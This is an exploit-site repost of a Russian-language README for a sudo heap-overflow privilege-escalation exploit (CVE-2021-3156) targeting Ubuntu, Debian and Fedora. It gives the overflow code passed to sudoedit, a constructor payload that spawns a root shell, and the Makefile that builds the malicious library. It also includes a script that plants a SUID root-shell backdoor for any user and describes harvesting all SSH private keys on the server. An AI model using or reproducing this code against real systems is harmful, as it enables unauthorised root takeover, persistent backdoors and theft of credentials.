Sploitus

Exploit for PE_CVE

kitploit · 2026-08-27

Exploit Code

MARKDOWN179 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PURPLEOZONE-PE_CVE-CVE-2021-3156
# PE_CVE-CVE-2021-3156

Эксплойт для Ubuntu 20.04, использующий CVE-2021-3156, дополнен простыми и автоматизированными скриптами для пост-эксплуатации

Помимо root-оболочки вы можете получить:

  * Файл .txt со всеми SSH-ключами id_rsa, настроенными на сервере. См. скрипт: get_all_ssh_keys.sh

  * Исполняемый файл privshell, позволяющий любому пользователю запустить root-оболочку (работаю над исправлением ошибки gcc). См. скрипт: create_privshell.sh




## PoC для PE_CVE-CVE-2021-3156.

### Требования

Для успешного результата необходимо, чтобы на целевой машине была одна из следующих версий ОС и Sudo:

  * Ubuntu 20.04 (Sudo 1.8.31)
  * Debian 10 (Sudo 1.8.27)
  * Fedora 33 (Sudo 1.9.2)



![image](https://assets.kitploit.com/production/public/readmes/38841/a4c13462982876396aa4cd49f1cf902659d747ffff50836fa695523d2fe47799.png)

Чтобы сделать мою ВМ уязвимой, я понизил версию sudo с помощью следующей команды:

root@kitploit:~
    
    
    $ sudo apt install sudo=1.8.31-1ubuntu1
    

### Эксплойт

Эксплойт работает при условии, что доступ к целевой системе получен от имени пользователя без значительных привилегий.

![image](https://assets.kitploit.com/production/public/readmes/38841/f02a99261b1d9f3979737a71a0b4fe15eeac128f46dbbeb11a68bf31c54e6cf4.png)

Вы можете клонировать репозиторий на целевую машину или на свою локальную машину и загрузить его с помощью _**wget**_.

![image](https://assets.kitploit.com/production/public/readmes/38841/188d76f5ee3c25413df743f8abc61bf1d6c1992e2a67d99c0202d4e1766d5692.png)

Выполните команду "make", чтобы скомпилировать .c-файлы в соответствии с уязвимостью. ![image](https://assets.kitploit.com/production/public/readmes/38841/48359118e7a3cb2a058c28fb0ff229200e41adfb744c7935306abf115442432d.png)

Вы получите файл эксплойта, поэтому вы можете запустить его с помощью "./". После запуска эксплойта мы можем увидеть два файла, созданные в репозитории: один содержит все SSH-ключи, зарегистрированные в системе, а другой содержит исполняемый файл SUID, предоставляющий root-сессию всем пользователям (выделено фиолетовым).

![image](https://assets.kitploit.com/production/public/readmes/38841/a38a45f56fce125b7499cb03c5b961cf91f1f640e49ecf2489af5f2eb1329552.png)

Вы можете увидеть ошибку, подобную следующей:

![image](https://assets.kitploit.com/production/public/readmes/38841/82c965356be42787015c002f4b077018327fcfa5681055f8849628a584041ef0.png)

Я всё ещё пытаюсь решить эту ошибку, но предполагаю, что это связано с оболочкой, генерирующей эксплойт. Я попробовал запустить команду _**./create_privshell.sh**_ от root, переключившись через _**sudo su**_ от пользователя с соответствующими правами, и компиляция скрипта прошла успешно. Альтернативно его можно скомпилировать на другой машине и скопировать на целевую, поэтому и существует запрос wget.

Скрипт для компиляции выглядит так:

root@kitploit:~
    
    
    echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
    gcc -o privshell privshell.c
    rm privshell.c
    chown root:root privshell
    chmod u+s privshell
    

Теперь вы можете прочитать .txt-файлы со всеми SSH-ключами и использовать privshell, пока я не исправлю ошибку gcc.

![image](https://assets.kitploit.com/production/public/readmes/38841/379bbba475cc502491cec81b7186b18209aa764cb6ce05d9c753324d97e46715.png)

## О CVE-2021-3156.

Обнаружена Qualys

_**Оценка CVSS: 7.8**_

CVE-2021-3156, также известная как уязвимость "Baron Samedit", — это уязвимость безопасности, затрагивающая широко используемую программу sudo в Unix-подобных операционных системах. Sudo — это программа, позволяющая пользователям выполнять команды с повышенными привилегиями, обычно путём ввода собственного пароля или пароля root. Уязвимость вызвана переполнением буфера в функции "sudoedit" команды sudo, которая позволяет пользователям редактировать файлы с повышенными привилегиями. Уязвимость была впервые обнаружена в январе 2021 года лабораторией Qualys Research Labs и затрагивает версии sudo от 1.8.2 до 1.8.31p2 и от 1.9.0 до 1.9.5p1.

###Очень-очень технические подробности Информация из: Qualys

![image](https://assets.kitploit.com/production/public/readmes/38841/a179ad05f7c458fce3cf0562baff98bba97de41621644ea0049fa56c81b2e821.png)

![image](https://assets.kitploit.com/production/public/readmes/38841/e254de458fe7b791dc7a767a2fe231f56d4e3dab169c979b1975cde0da71be3d.png)

![image](https://assets.kitploit.com/production/public/readmes/38841/0fdc7b1e02b02f35c1883f5d3fa5ada3f903dd746e3c0d2bda4964f106b98901.png)

Другими словами, set_cmnd() уязвима для переполнения буфера в куче, потому что выходные за границы символы, копируемые в буфер "user_args", не были учтены в его размере (вычисленном в строках 852–853).

Для части с переполнением я использовал файл exploit.c из redhawkeye/sudo-exploit.

Это немного сложно, но легко интерпретируется.

root@kitploit:~
    
    
     char *env[] = {
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "\\", "\\", "\\", "\\", "\\", "\\", "\\",
            "X/X",
            concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
            NULL
        };
    

Эта часть объявляет массив переменных окружения env, которые будут переданы системному вызову execve. Переменные окружения содержат серию обратных слешей и специально созданную переменную LC_ALL со значением "C.UTF-8@", объединённым с 208 (0xd0) символами A. Значение C.UTF-8@ будет передано как переменная окружения LC_ALL команде sudoedit. 208 символов A используются для переполнения буфера в программе sudoedit и выполнения произвольного кода.

root@kitploit:~
    
    
      char * a = concat(str_repeat('A', 0x70),"\\");
        char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
        execve(argv[0], argv, env);
    

Эта часть объявляет переменную a, содержащую строку из 112 (0x70) символов A, за которыми следует обратный слеш. Затем объявляется массив argv, который будет передан execve. Массив содержит путь к команде sudoedit (/usr/bin/sudoedit), флаг -s и созданную выше переменную a.

root@kitploit:~
    
    
      execve(argv[0], argv, env);
    

Это системный вызов execve, который фактически запускает команду sudoedit с предоставленными аргументами и переменными окружения. Программа sudoedit прочитает переменную окружения LC_ALL и попытается разобрать её как путь к файлу. Переполняющие символы A будут использованы для записи произвольных данных в память и потенциального выполнения произвольного кода.

Итак, эти данные в памяти, зарезервированные для RCE, будут использованы нашим файлом shell_tool.c.

root@kitploit:~
    
    
    __attribute((constructor))
    static void sice() {
        setuid(0);
        system("command");
        ...
        system("bash");
    

Эта часть кода объявляет функцию с именем sice с атрибутом _****attribute**((constructor))**_, поэтому функция будет автоматически вызвана при запуске программы, до выполнения main(). Внутри функции sice вызывается функция setuid(0), которая устанавливает эффективный идентификатор пользователя процесса в 0, то есть идентификатор суперпользователя или root. Это фактически даёт программе root-привилегии. После этого, просто используя аргумент system("command"), мы можем делать всё, что угодно, до появления root-сессии в терминале. Именно поэтому я хотел попробовать написание скриптов, чтобы иметь бэкдоры и извлекать данные до получения root-оболочки.

Я попытался написать свою собственную версию кода, названную _**mybufferof.c**_ , в основном она очень похожа, так что можете изменить Makefile, чтобы протестировать её, jeje.

### О Makefile

root@kitploit:~
    
    
    all:
    	gcc bufferof.c -o exploit
    	mkdir libnss_X
    	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
    

Сначала нам нужно скомпилировать наш эксплойт, а затем создать каталог "libnss_X". Затем последняя команда компилирует файл shell_tool.c и создаёт файл общей библиотеки с именем X.so.2 в каталоге libnss_X:

Флаг -g генерирует отладочную информацию для файла общей библиотеки.

Флаг -fPIC генерирует позиционно-независимый код для общих объектов.

Флаг -shared указывает, что должен быть создан файл общей библиотеки.

Полученный файл общей библиотеки X.so.2 помещается в каталог libnss_X, созданный на втором шаге.

Это важно для данного CVE, вот почему:

![image](https://assets.kitploit.com/production/public/readmes/38841/545f8b134969e492008063f16c32a0cb8a3d40f9e4df32df643071f81f413116.png)

Данные из:Qualys

На этом всё, наслаждайтесь, полагаю.